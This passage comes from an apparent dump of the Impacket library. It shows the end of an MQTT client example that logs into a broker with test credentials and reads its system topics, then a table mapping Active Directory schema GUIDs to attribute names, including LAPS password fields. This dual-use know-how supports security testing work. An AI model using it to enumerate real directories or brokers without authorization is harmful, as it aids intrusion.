packet['Topic'] = MQTT_String()\n        packet['Topic']['Name'] = topic\n        packet['Message'] = message\n        packet['MessageID'] = messageID\n        packet.setQoS( QoS )\n\n        return self.sendReceive(packet)\n\n    def disconnect(self):\n        return self.send(str(MQTT_Disconnect()))\n\nif __name__ == '__main__':\n    HOST = '192.168.45.162'\n    USER = 'test'\n    PASS = 'test'\n\n    mqtt = MQTTConnection(HOST, 1883, False)\n    mqtt.connect('secure-', username=USER, password=PASS, version = 3)\n    #mqtt.connect(protocolName='MQTT', version=4)\n    #mqtt.connect()\n\n    #mqtt.subscribe('/test/beto')\n    #mqtt.unSubscribe('/test/beto')\n    #mqtt.publish('/test/beto', 'Hey There, I\"d like to talk to you', QoS=1)\n    mqtt.subscribe('$SYS/#')\n\n\n    while True:\n\n        packets = mqtt.recv()\n        for packet in packets:\n            publish = MQTT_Publish(str(packet))\n            print('%s -> %s' % (publish['Topic']['Name'], publish['Message']))\n\n    mqtt.disconnect()\n"
  },
  {
    "path": "impacket/msada_guids.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Authors:\n#   Charlie BROMBERG (@_nwodtuhs)\n#   Guillaume DAUMAS (@BlWasp_)\n#   Lucien DOUSTALY (@Wlayzz)\n#\n# References:\n#   MS-ADA1, MS-ADA2, MS-ADA3 Active Directory Schema Attributes and their GUID:\n#   - [MS-ADA1] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada1/19528560-f41e-4623-a406-dabcfff0660f\n#   - [MS-ADA2] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/e20ebc4e-5285-40ba-b3bd-ffcb81c2783e\n#   - [MS-ADA3] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada3/4517e835-3ee6-44d4-bb95-a94b6966bfb0\n#   GUIDS gathered from (lots of cleaning made from that source, things may be missing):\n#   - https://www.powershellgallery.com/packages/SDDLParser/0.5.0/Content/SDDLParserADObjects.ps1\n#\n\nSCHEMA_OBJECTS = {\n\t'2a132580-9373-11d1-aebc-0000f80367c1': 'FRS-Partner-Auth-Level',\n\t'2a8c68fc-3a7a-4e87-8720-fe77c51cbe74': 'ms-DS-Non-Members-BL',\n\t'963d2751-48be-11d1-a9c3-0000f80367c1': 'Mscope-Id',\n\t'bf967a0c-0de6-11d0-a285-00aa003049e2': 'Range-Lower',\n\t'29259694-09e4-4237-9f72-9306ebe63ab2': 'ms-TS-Primary-Desktop',\n\t'963d2756-48be-11d1-a9c3-0000f80367c1': 'DHCP-Class',\n\t'1562a632-44b9-4a7e-a2d3-e426c96a3acc': 'ms-PKI-Private-Key-Recovery-Agent',\n\t'2a132581-9373-11d1-aebc-0000f80367c1': 'FRS-Primary-Member',\n\t'4b1cba4e-302f-4134-ac7c-f01f6c797843': 'ms-DS-Phonetic-First-Name',\n\t'7bfdcb7d-4807-11d1-a9c3-0000f80367c1': 'Msi-File-List',\n\t'bf967a0d-0de6-11d0-a285-00aa003049e2': 'Range-Upper',\n\t'f63aa29a-bb31-48e1-bfab-0a6c5a1d39c2': 'ms-TS-Secondary-Desktops',\n\t'5245801a-ca6a-11d0-afff-0000f80367c1': 'FRS-Replica-Set-GUID',\n\t'f217e4ec-0836-4b90-88af-2f5d4bbda2bc': 'ms-DS-Phonetic-Last-Name',\n\t'd9e18313-8939-11d1-aebc-0000f80367c1': 'Msi-Script',\n\t'bf967a0e-0de6-11d0-a285-00aa003049e2': 'RDN',\n\t'9daadc18-40d1-4ed1-a2bf-6b9bf47d3daa': 'ms-TS-Primary-Desktop-BL',\n\t'e0fa1e8a-9b45-11d0-afdd-00c04fd930c9': 'Display-Specifier',\n\t'bf967aa8-0de6-11d0-a285-00aa003049e2': 'Print-Queue',\n\t'bf967a8f-0de6-11d0-a285-00aa003049e2': 'DMD',\n\t'26d9736b-6070-11d1-a9c6-0000f80367c1': 'FRS-Replica-Set-Type',\n\t'6cd53daf-003e-49e7-a702-6fa896e7a6ef': 'ms-DS-Phonetic-Department',\n\t'96a7dd62-9118-11d1-aebc-0000f80367c1': 'Msi-Script-Name',\n\t'bf967a0f-0de6-11d0-a285-00aa003049e2': 'RDN-Att-ID',\n\t'34b107af-a00a-455a-b139-dd1a1b12d8af': 'ms-TS-Secondary-Desktop-BL',\n\t'1be8f174-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Root-Path',\n\t'5bd5208d-e5f4-46ae-a514-543bc9c47659': 'ms-DS-Phonetic-Company-Name',\n\t'bf967937-0de6-11d0-a285-00aa003049e2': 'Msi-Script-Path',\n\t'bf967a10-0de6-11d0-a285-00aa003049e2': 'Registered-Address',\n\t'faaea977-9655-49d7-853d-f27bb7aaca0f': 'MS-TS-Property01',\n\t'5fd4250c-1262-11d0-a060-00aa006c33ed': 'Display-Template',\n\t'83cc7075-cca7-11d0-afff-0000f80367c1': 'Query-Policy',\n\t'5a8b3261-c38d-11d1-bbc9-0080c76670c0': 'SubSchema',\n\t'5245801f-ca6a-11d0-afff-0000f80367c1': 'FRS-Root-Security',\n\t'e21a94e4-2d66-4ce5-b30d-0ef87a776ff0': 'ms-DS-Phonetic-Display-Name',\n\t'96a7dd63-9118-11d1-aebc-0000f80367c1': 'Msi-Script-Size',\n\t'bf967a12-0de6-11d0-a285-00aa003049e2': 'Remote-Server-Name',\n\t'3586f6ac-51b7-4978-ab42-f936463198e7': 'MS-TS-Property02',\n\t'bf967915-0de6-11d0-a285-00aa003049e2': 'Account-Expires',\n\t'ddac0cee-af8f-11d0-afeb-00c04fd930c9': 'FRS-Service-Command',\n\t'def449f1-fd3b-4045-98cf-d9658da788b5': 'ms-DS-HAB-Seniority-Index',\n\t'9a0dc326-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Authenticate',\n\t'bf967a14-0de6-11d0-a285-00aa003049e2': 'Remote-Source',\n\t'70004ef5-25c3-446a-97c8-996ae8566776': 'MS-TS-ExpireDate',\n\t'bf967aa9-0de6-11d0-a285-00aa003049e2': 'Remote-Mail-Recipient',\n\t'bf967a80-0de6-11d0-a285-00aa003049e2': 'Attribute-Schema',\n\t'2a132582-9373-11d1-aebc-0000f80367c1': 'FRS-Service-Command-Status',\n\t'c881b4e2-43c0-4ebe-b9bb-5250aa9b434c': 'ms-DS-Promotion-Settings',\n\t'9a0dc323-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Base-Priority',\n\t'bf967a15-0de6-11d0-a285-00aa003049e2': 'Remote-Source-Type',\n\t'54dfcf71-bc3f-4f0b-9d5a-4b2476bb8925': 'MS-TS-ExpireDate2',\n\t'e0fa1e8b-9b45-11d0-afdd-00c04fd930c9': 'Dns-Zone',\n\t'031952ec-3b72-11d2-90cc-00c04fd91ab1': 'Account-Name-History',\n\t'1be8f175-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Staging-Path',\n\t'98a7f36d-3595-448a-9e6f-6b8965baed9c': 'ms-DS-SiteName',\n\t'9a0dc32e-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Computer-Type',\n\t'2a39c5b0-8960-11d1-aebc-0000f80367c1': 'Remote-Storage-GUID',\n\t'41bc7f04-be72-4930-bd10-1f3439412387': 'MS-TS-ExpireDate3',\n\t'2a39c5bd-8960-11d1-aebc-0000f80367c1': 'Remote-Storage-Service-Point',\n\t'7f56127d-5301-11d1-a9c5-0000f80367c1': 'ACS-Aggregate-Token-Rate-Per-User',\n\t'2a132583-9373-11d1-aebc-0000f80367c1': 'FRS-Time-Last-Command',\n\t'20119867-1d04-4ab7-9371-cfc3d5df0afd': 'ms-DS-Supported-Encryption-Types',\n\t'18120de8-f4c4-4341-bd95-32eb5bcf7c80': 'MSMQ-Computer-Type-Ex',\n\t'281416c0-1968-11d0-a28f-00aa003049e2': 'Repl-Property-Meta-Data',\n\t'5e11dc43-204a-4faf-a008-6863621c6f5f': 'MS-TS-ExpireDate4',\n\t'39bad96d-c2d6-4baf-88ab-7e4207600117': 'document',\n\t'7f561283-5301-11d1-a9c5-0000f80367c1': 'ACS-Allocable-RSVP-Bandwidth',\n\t'2a132584-9373-11d1-aebc-0000f80367c1': 'FRS-Time-Last-Config-Change',\n\t'29cc866e-49d3-4969-942e-1dbc0925d183': 'ms-DS-Trust-Forest-Trust-Info',\n\t'9a0dc33a-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Cost',\n\t'7bfdcb83-4807-11d1-a9c3-0000f80367c1': 'Repl-Topology-Stay-Of-Execution',\n\t'0ae94a89-372f-4df2-ae8a-c64a2bc47278': 'MS-TS-LicenseVersion',\n\t'a8df74d6-c5ea-11d1-bbcb-0080c76670c0': 'Residential-Person',\n\t'1cb355a1-56d0-11d1-a9c6-0000f80367c1': 'ACS-Cache-Timeout',\n\t'1be8f172-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Update-Timeout',\n\t'461744d7-f3b6-45ba-8753-fb9552a5df32': 'ms-DS-Tombstone-Quota-Factor',\n\t'9a0dc334-c100-11d1-bbc5-0080c76670c0': 'MSMQ-CSP-Name',\n\t'bf967a16-0de6-11d0-a285-00aa003049e2': 'Repl-UpToDate-Vector',\n\t'4b0df103-8d97-45d9-ad69-85c3080ba4e7': 'MS-TS-LicenseVersion2',\n\t'7a2be07c-302f-4b96-bc90-0795d66885f8': 'documentSeries',\n\t'7f56127a-5301-11d1-a9c5-0000f80367c1': 'ACS-Direction',\n\t'2a132585-9373-11d1-aebc-0000f80367c1': 'FRS-Version',\n\t'7b7cce4f-f1f5-4bb6-b7eb-23504af19e75': 'ms-DS-Top-Quota-Usage',\n\t'2df90d83-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Dependent-Client-Service',\n\t'bf967a18-0de6-11d0-a285-00aa003049e2': 'Replica-Source',\n\t'f8ba8f81-4cab-4973-a3c8-3a6da62a5e31': 'MS-TS-LicenseVersion3',\n\t'19195a5a-6da0-11d0-afd3-00c04fd930c9': 'Domain',\n\t'b93e3a78-cbae-485e-a07b-5ef4ae505686': 'rFC822LocalPart',\n\t'1cb355a0-56d0-11d1-a9c6-0000f80367c1': 'ACS-DSBM-DeadTime',\n\t'26d9736c-6070-11d1-a9c6-0000f80367c1': 'FRS-Version-GUID',\n\t'd064fb68-1480-11d3-91c1-0000f87a57d4': 'MS-DS-Machine-Account-Quota',\n\t'2df90d76-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Dependent-Client-Services',\n\t'bf967a1c-0de6-11d0-a285-00aa003049e2': 'Reports',\n\t'70ca5d97-2304-490a-8a27-52678c8d2095': 'MS-TS-LicenseVersion4',\n\t'19195a5b-6da0-11d0-afd3-00c04fd930c9': 'Domain-DNS',\n\t'1cb3559e-56d0-11d1-a9c6-0000f80367c1': 'ACS-DSBM-Priority',\n\t'1be8f173-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Working-Path',\n\t'638ec2e8-22e7-409c-85d2-11b21bee72de': 'ms-DS-Object-Reference',\n\t'9a0dc33c-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Digests',\n\t'45ba9d1a-56fa-11d2-90d0-00c04fd91ab1': 'Repl-Interval',\n\t'f3bcc547-85b0-432c-9ac0-304506bf2c83': 'MS-TS-ManagingLS',\n\t'6617188d-8f3c-11d0-afda-00c04fd930c9': 'RID-Manager',\n\t'1cb3559f-56d0-11d1-a9c6-0000f80367c1': 'ACS-DSBM-Refresh',\n\t'66171887-8f3c-11d0-afda-00c04fd930c9': 'FSMO-Role-Owner',\n\t'2b702515-c1f7-4b3b-b148-c0e4c6ceecb4': 'ms-DS-Object-Reference-BL',\n\t'0f71d8e0-da3b-11d1-90a5-00c04fd91ab1': 'MSMQ-Digests-Mig',\n\t'bf967a1d-0de6-11d0-a285-00aa003049e2': 'Reps-From',\n\t'349f0757-51bd-4fc8-9d66-3eceea8a25be': 'MS-TS-ManagingLS2',\n\t'bf967a99-0de6-11d0-a285-00aa003049e2': 'Domain-Policy',\n\t'7f561287-5301-11d1-a9c5-0000f80367c1': 'ACS-Enable-ACS-Service',\n\t'5fd424a1-1262-11d0-a060-00aa006c33ed': 'Garbage-Coll-Period',\n\t'93f701be-fa4c-43b6-bc2f-4dbea718ffab': 'ms-DS-Operations-For-Az-Role',\n\t'2df90d82-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Ds-Service',\n\t'bf967a1e-0de6-11d0-a285-00aa003049e2': 'Reps-To',\n\t'fad5dcc1-2130-4c87-a118-75322cd67050': 'MS-TS-ManagingLS3',\n\t'7bfdcb89-4807-11d1-a9c3-0000f80367c1': 'RID-Set',\n\t'f072230e-aef5-11d1-bdcf-0000f80367c1': 'ACS-Enable-RSVP-Accounting',\n\t'bf96797a-0de6-11d0-a285-00aa003049e2': 'Generated-Connection',\n\t'f85b6228-3734-4525-b6b7-3f3bb220902c': 'ms-DS-Operations-For-Az-Role-BL',\n\t'2df90d78-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Ds-Services',\n\t'7d6c0e93-7e20-11d0-afd6-00c04fd930c9': 'Required-Categories',\n\t'f7a3b6a0-2107-4140-b306-75cb521731e5': 'MS-TS-ManagingLS4',\n\t'8bfd2d3d-efda-4549-852c-f85e137aedc6': 'domainRelatedObject',\n\t'7f561285-5301-11d1-a9c5-0000f80367c1': 'ACS-Enable-RSVP-Message-Logging',\n\t'16775804-47f3-11d1-a9c3-0000f80367c1': 'Generation-Qualifier',\n\t'1aacb436-2e9d-44a9-9298-ce4debeb6ebf': 'ms-DS-Operations-For-Az-Task',\n\t'9a0dc331-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Encrypt-Key',\n\t'7bfdcb7f-4807-11d1-a9c3-0000f80367c1': 'Retired-Repl-DSA-Signatures',\n\t'87e53590-971d-4a52-955b-4794d15a84ae': 'MS-TSLS-Property01',\n\t'7860e5d2-c8b0-4cbb-bd45-d9455beb9206': 'room',\n\t'eded5844-b3c3-41c3-a9e6-8984b52b7f98': 'ms-Org-Group-Subtype-Name',\n\t'7f561286-5301-11d1-a9c5-0000f80367c1': 'ACS-Event-Log-Level',\n\t'f0f8ff8e-1191-11d0-a060-00aa006c33ed': 'Given-Name',\n\t'a637d211-5739-4ed1-89b2-88974548bc59': 'ms-DS-Operations-For-Az-Task-BL',\n\t'9a0dc32f-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Foreign',\n\t'b7c69e6d-2cc7-11d2-854e-00a0c983f608': 'Token-Groups',\n\t'47c77bb0-316e-4e2f-97f1-0d4c48fca9dd': 'MS-TSLS-Property02',\n\t'09b10f14-6f93-11d2-9905-0000f87a57d4': 'DS-UI-Settings',\n\t'49b7560b-4707-4aa0-a27c-e17a09ca3f97': 'ms-Org-Is-Organizational-Group',\n\t'dab029b6-ddf7-11d1-90a5-00c04fd91ab1': 'ACS-Identity-Name',\n\t'f754c748-06f4-11d2-aa53-00c04fd7d83a': 'Global-Address-List',\n\t'79d2f34c-9d7d-42bb-838f-866b3e4400e2': 'ms-DS-Other-Settings',\n\t'9a0dc32c-c100-11d1-bbc5-0080c76670c0': 'MSMQ-In-Routing-Servers',\n\t'46a9b11d-60ae-405a-b7e8-ff8a58d456d2': 'Token-Groups-Global-And-Universal',\n\t'6a84ede5-741e-43fd-9dd6-aa0f61578621': 'ms-DFSR-DisablePacketPrivacy',\n\t'80212842-4bdc-11d1-a9c4-0000f80367c1': 'Rpc-Container',\n\t'8f905f24-a413-435a-8ed1-35385ec179f7': 'ms-Org-Other-Display-Names',\n\t'f072230c-aef5-11d1-bdcf-0000f80367c1': 'ACS-Max-Aggregate-Peak-Rate-Per-User',\n\t'bf96797d-0de6-11d0-a285-00aa003049e2': 'Governs-ID',\n\t'564e9325-d057-c143-9e3b-4f9e5ef46f93': 'ms-DS-Principal-Name',\n\t'8ea825aa-3b7b-11d2-90cc-00c04fd91ab1': 'MSMQ-Interval1',\n\t'040fc392-33df-11d2-98b2-0000f87a57d4': 'Token-Groups-No-GC-Acceptable',\n\t'87811bd5-cd8b-45cb-9f5d-980f3a9e0c97': 'ms-DFSR-DefaultCompressionExclusionFilter',\n\t'3fdfee52-47f4-11d1-a9c3-0000f80367c1': 'DSA',\n\t'ee5b6790-3358-41a8-93f2-134ce21f3813': 'ms-Org-Leaders',\n\t'7f56127e-5301-11d1-a9c5-0000f80367c1': 'ACS-Max-Duration-Per-Flow',\n\t'f30e3bbe-9ff0-11d1-b603-0000f80367c1': 'GP-Link',\n\t'fbb9a00d-3a8c-4233-9cf9-7189264903a1': 'ms-DS-Quota-Amount',\n\t'99b88f52-3b7b-11d2-90cc-00c04fd91ab1': 'MSMQ-Interval2',\n\t'bf967a21-0de6-11d0-a285-00aa003049e2': 'Revision',\n\t'a68359dc-a581-4ee6-9015-5382c60f0fb4': 'ms-DFSR-OnDemandExclusionFileFilter',\n\t'bf967aac-0de6-11d0-a285-00aa003049e2': 'rpc-Entry',\n\t'afa58eed-a698-417e-9f56-fad54252c5f4': 'ms-Org-Leaders-BL',\n\t'f0722310-aef5-11d1-bdcf-0000f80367c1': 'ACS-Max-No-Of-Account-Files',\n\t'f30e3bbf-9ff0-11d1-b603-0000f80367c1': 'GP-Options',\n\t'6655b152-101c-48b4-b347-e1fcebc60157': 'ms-DS-Quota-Effective',\n\t'9a0dc321-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Journal',\n\t'bf967a22-0de6-11d0-a285-00aa003049e2': 'Rid',\n\t'7d523aff-9012-49b2-9925-f922a0018656': 'ms-DFSR-OnDemandExclusionDirectoryFilter',\n\t'66d51249-3355-4c1f-b24e-81f252aca23b': 'Dynamic-Object',\n\t'1cb3559c-56d0-11d1-a9c6-0000f80367c1': 'ACS-Max-No-Of-Log-Files',\n\t'f30e3bc1-9ff0-11d1-b603-0000f80367c1': 'GPC-File-Sys-Path',\n\t'16378906-4ea5-49be-a8d1-bfd41dff4f65': 'ms-DS-Quota-Trustee',\n\t'9a0dc324-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Journal-Quota',\n\t'66171889-8f3c-11d0-afda-00c04fd930c9': 'RID-Allocation-Pool',\n\t'11e24318-4ca6-4f49-9afe-e5eb1afa3473': 'ms-DFSR-Options2',\n\t'88611bdf-8cf4-11d0-afda-00c04fd930c9': 'rpc-Group',\n\t'7f561284-5301-11d1-a9c5-0000f80367c1': 'ACS-Max-Peak-Bandwidth',\n\t'f30e3bc0-9ff0-11d1-b603-0000f80367c1': 'GPC-Functionality-Version',\n\t'b5a84308-615d-4bb7-b05f-2f1746aa439f': 'ms-DS-Quota-Used',\n\t'9a0dc325-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Label',\n\t'66171888-8f3c-11d0-afda-00c04fd930c9': 'RID-Available-Pool',\n\t'936eac41-d257-4bb9-bd55-f310a3cf09ad': 'ms-DFSR-CommonStagingPath',\n\t'dd712229-10e4-11d0-a05f-00aa006c33ed': 'File-Link-Tracking',\n\t'7f56127c-5301-11d1-a9c5-0000f80367c1': 'ACS-Max-Peak-Bandwidth-Per-Flow',\n\t'32ff8ecc-783f-11d2-9916-0000f87a57d4': 'GPC-Machine-Extension-Names',\n\t'8a167ce4-f9e8-47eb-8d78-f7fe80abb2cc': 'ms-DS-NC-Repl-Cursors',\n\t'4580ad25-d407-48d2-ad24-43e6e56793d7': 'MSMQ-Label-Ex',\n\t'66171886-8f3c-11d0-afda-00c04fd930c9': 'RID-Manager-Reference',\n\t'135eb00e-4846-458b-8ea2-a37559afd405': 'ms-DFSR-CommonStagingSizeInMb',\n\t'88611be1-8cf4-11d0-afda-00c04fd930c9': 'rpc-Profile',\n\t'f0722311-aef5-11d1-bdcf-0000f80367c1': 'ACS-Max-Size-Of-RSVP-Account-File',\n\t'42a75fc6-783f-11d2-9916-0000f87a57d4': 'GPC-User-Extension-Names',\n\t'9edba85a-3e9e-431b-9b1a-a5b6e9eda796': 'ms-DS-NC-Repl-Inbound-Neighbors',\n\t'9a0dc335-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Long-Lived',\n\t'6617188c-8f3c-11d0-afda-00c04fd930c9': 'RID-Next-RID',\n\t'd64b9c23-e1fa-467b-b317-6964d744d633': 'ms-DFSR-StagingCleanupTriggerInPercent',\n\t'8e4eb2ed-4712-11d0-a1a0-00c04fd930c9': 'File-Link-Tracking-Entry',\n\t'1cb3559d-56d0-11d1-a9c6-0000f80367c1': 'ACS-Max-Size-Of-RSVP-Log-File',\n\t'7bd4c7a6-1add-4436-8c04-3999a880154c': 'GPC-WQL-Filter',\n\t'855f2ef5-a1c5-4cc4-ba6d-32522848b61f': 'ms-DS-NC-Repl-Outbound-Neighbors',\n\t'9a0dc33f-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Migrated',\n\t'6617188a-8f3c-11d0-afda-00c04fd930c9': 'RID-Previous-Allocation-Pool',\n\t'b786cec9-61fd-4523-b2c1-5ceb3860bb32': 'ms-DFS-Comment-v2',\n\t'f29653cf-7ad0-11d0-afd6-00c04fd930c9': 'rpc-Profile-Element',\n\t'81f6e0df-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Max-Token-Bucket-Per-Flow',\n\t'bf96797e-0de6-11d0-a285-00aa003049e2': 'Group-Attributes',\n\t'97de9615-b537-46bc-ac0f-10720f3909f3': 'ms-DS-NC-Replica-Locations',\n\t'1d2f4412-f10d-4337-9b48-6e5b125cd265': 'MSMQ-Multicast-Address',\n\t'7bfdcb7b-4807-11d1-a9c3-0000f80367c1': 'RID-Set-References',\n\t'35b8b3d9-c58f-43d6-930e-5040f2f1a781': 'ms-DFS-Generation-GUID-v2',\n\t'89e31c12-8530-11d0-afda-00c04fd930c9': 'Foreign-Security-Principal',\n\t'7f56127b-5301-11d1-a9c5-0000f80367c1': 'ACS-Max-Token-Rate-Per-Flow',\n\t'bf967980-0de6-11d0-a285-00aa003049e2': 'Group-Membership-SAM',\n\t'3df793df-9858-4417-a701-735a1ecebf74': 'ms-DS-NC-RO-Replica-Locations',\n\t'9a0dc333-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Name-Style',\n\t'6617188b-8f3c-11d0-afda-00c04fd930c9': 'RID-Used-Pool',\n\t'3c095e8a-314e-465b-83f5-ab8277bcf29b': 'ms-DFS-Last-Modified-v2',\n\t'88611be0-8cf4-11d0-afda-00c04fd930c9': 'rpc-Server',\n\t'87a2d8f9-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Maximum-SDU-Size',\n\t'eea65905-8ac6-11d0-afda-00c04fd930c9': 'Group-Priority',\n\t'f547511c-5b2a-44cc-8358-992a88258164': 'ms-DS-NC-RO-Replica-Locations-BL',\n\t'eb38a158-d57f-11d1-90a2-00c04fd91ab1': 'MSMQ-Nt4-Flags',\n\t'8297931c-86d3-11d0-afda-00c04fd930c9': 'Rights-Guid',\n\t'edb027f3-5726-4dee-8d4e-dbf07e1ad1f1': 'ms-DFS-Link-Identity-GUID-v2',\n\t'c498f152-dc6b-474a-9f52-7cdba3d7d351': 'friendlyCountry',\n\t'9c65329b-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Minimum-Delay-Variation',\n\t'9a9a021e-4a5b-11d1-a9c3-0000f80367c1': 'Group-Type',\n\t'2de144fc-1f52-486f-bdf4-16fcc3084e54': 'ms-DS-Non-Security-Group-Extra-Classes',\n\t'6f914be6-d57e-11d1-90a2-00c04fd91ab1': 'MSMQ-Nt4-Stub',\n\t'a8df7465-c5ea-11d1-bbcb-0080c76670c0': 'Role-Occupant',\n\t'86b021f6-10ab-40a2-a252-1dc0cc3be6a9': 'ms-DFS-Link-Path-v2',\n\t'f29653d0-7ad0-11d0-afd6-00c04fd930c9': 'rpc-Server-Element',\n\t'9517fefb-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Minimum-Latency',\n\t'eea65904-8ac6-11d0-afda-00c04fd930c9': 'Groups-to-Ignore',\n\t'd161adf0-ca24-4993-a3aa-8b2c981302e8': 'MS-DS-Per-User-Trust-Quota',\n\t'9a0dc330-c100-11d1-bbc5-0080c76670c0': 'MSMQ-OS-Type',\n\t'81d7f8c2-e327-4a0d-91c6-b42d4009115f': 'roomNumber',\n\t'57cf87f7-3426-4841-b322-02b3b6e9eba8': 'ms-DFS-Link-Security-Descriptor-v2',\n\t'8447f9f3-1027-11d0-a05f-00aa006c33ed': 'FT-Dfs',\n\t'8d0e7195-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Minimum-Policed-Size',\n\t'bf967982-0de6-11d0-a285-00aa003049e2': 'Has-Master-NCs',\n\t'8b70a6c6-50f9-4fa3-a71e-1ce03040449b': 'MS-DS-Per-User-Trust-Tombstones-Quota',\n\t'9a0dc32b-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Out-Routing-Servers',\n\t'7bfdcb80-4807-11d1-a9c3-0000f80367c1': 'Root-Trust',\n\t'200432ce-ec5f-4931-a525-d7f4afe34e68': 'ms-DFS-Namespace-Identity-GUID-v2',\n\t'2a39c5be-8960-11d1-aebc-0000f80367c1': 'RRAS-Administration-Connection-Point',\n\t'aec2cfe3-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Non-Reserved-Max-SDU-Size',\n\t'bf967981-0de6-11d0-a285-00aa003049e2': 'Has-Partial-Replica-NCs',\n\t'd921b50a-0ab2-42cd-87f6-09cf83a91854': 'ms-DS-Preferred-GC-Site',\n\t'9a0dc328-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Owner-ID',\n\t'88611bde-8cf4-11d0-afda-00c04fd930c9': 'rpc-Ns-Annotation',\n\t'0c3e5bc5-eb0e-40f5-9b53-334e958dffdb': 'ms-DFS-Properties-v2',\n\t'bf967a9c-0de6-11d0-a285-00aa003049e2': 'Group',\n\t'b6873917-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Non-Reserved-Min-Policed-Size',\n\t'5fd424a7-1262-11d0-a060-00aa006c33ed': 'Help-Data16',\n\t'd7c53242-724e-4c39-9d4c-2df8c9d66c7a': 'ms-DS-Repl-Attribute-Meta-Data',\n\t'2df90d75-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Prev-Site-Gates',\n\t'bf967a23-0de6-11d0-a285-00aa003049e2': 'rpc-Ns-Bindings',\n\t'ec6d7855-704a-4f61-9aa6-c49a7c1d54c7': 'ms-DFS-Schema-Major-Version',\n\t'f39b98ae-938d-11d1-aebd-0000f80367c1': 'RRAS-Administration-Dictionary',\n\t'a331a73f-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Non-Reserved-Peak-Rate',\n\t'5fd424a8-1262-11d0-a060-00aa006c33ed': 'Help-Data32',\n\t'2f5c8145-e1bd-410b-8957-8bfa81d5acfd': 'ms-DS-Repl-Value-Meta-Data',\n\t'9a0dc327-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Privacy-Level',\n\t'7a0ba0e0-8e98-11d0-afda-00c04fd930c9': 'rpc-Ns-Codeset',\n\t'fef9a725-e8f1-43ab-bd86-6a0115ce9e38': 'ms-DFS-Schema-Minor-Version',\n\t'bf967a9d-0de6-11d0-a285-00aa003049e2': 'Group-Of-Names',\n\t'a916d7c9-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Non-Reserved-Token-Size',\n\t'5fd424a9-1262-11d0-a060-00aa006c33ed': 'Help-File-Name',\n\t'0ea12b84-08b3-11d3-91bc-0000f87a57d4': 'MS-DS-Replicates-NC-Reason',\n\t'9a0dc33e-c100-11d1-bbc5-0080c76670c0': 'MSMQ-QM-ID',\n\t'80212841-4bdc-11d1-a9c4-0000f80367c1': 'rpc-Ns-Entry-Flags',\n\t'2d7826f0-4cf7-42e9-a039-1110e0d9ca99': 'ms-DFS-Short-Name-Link-Path-v2',\n\t'bf967a91-0de6-11d0-a285-00aa003049e2': 'Sam-Domain-Base',\n\t'1cb355a2-56d0-11d1-a9c6-0000f80367c1': 'ACS-Non-Reserved-Tx-Limit',\n\t'ec05b750-a977-4efe-8e8d-ba6c1a6e33a8': 'Hide-From-AB',\n\t'85abd4f4-0a89-4e49-bdec-6f35bb2562ba': 'ms-DS-Replication-Notify-First-DSA-Delay',\n\t'8e441266-d57f-11d1-90a2-00c04fd91ab1': 'MSMQ-Queue-Journal-Quota',\n\t'bf967a24-0de6-11d0-a285-00aa003049e2': 'rpc-Ns-Group',\n\t'6ab126c6-fa41-4b36-809e-7ca91610d48f': 'ms-DFS-Target-List-v2',\n\t'0310a911-93a3-4e21-a7a3-55d85ab2c48b': 'groupOfUniqueNames',\n\t'fe7afe45-3d14-43a7-afa7-3a1b144642af': 'ms-Mcs-AdmPwdExpirationTime',\n\t'f072230d-aef5-11d1-bdcf-0000f80367c1': 'ACS-Non-Reserved-Tx-Size',\n\t'bf967985-0de6-11d0-a285-00aa003049e2': 'Home-Directory',\n\t'd63db385-dd92-4b52-b1d8-0d3ecc0e86b6': 'ms-DS-Replication-Notify-Subsequent-DSA-Delay',\n\t'2df90d87-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Queue-Name-Ext',\n\t'bf967a25-0de6-11d0-a285-00aa003049e2': 'rpc-Ns-Interface-ID',\n\t'ea944d31-864a-4349-ada5-062e2c614f5e': 'ms-DFS-Ttl-v2',\n\t'bf967aad-0de6-11d0-a285-00aa003049e2': 'Sam-Server',\n\t'4c9928d7-d725-4fa6-a109-aba3ad8790e5': 'ms-Mcs-AdmPwd',\n\t'7f561282-5301-11d1-a9c5-0000f80367c1': 'ACS-Permission-Bits',\n\t'bf967986-0de6-11d0-a285-00aa003049e2': 'Home-Drive',\n\t'08e3aa79-eb1c-45b5-af7b-8f94246c8e41': 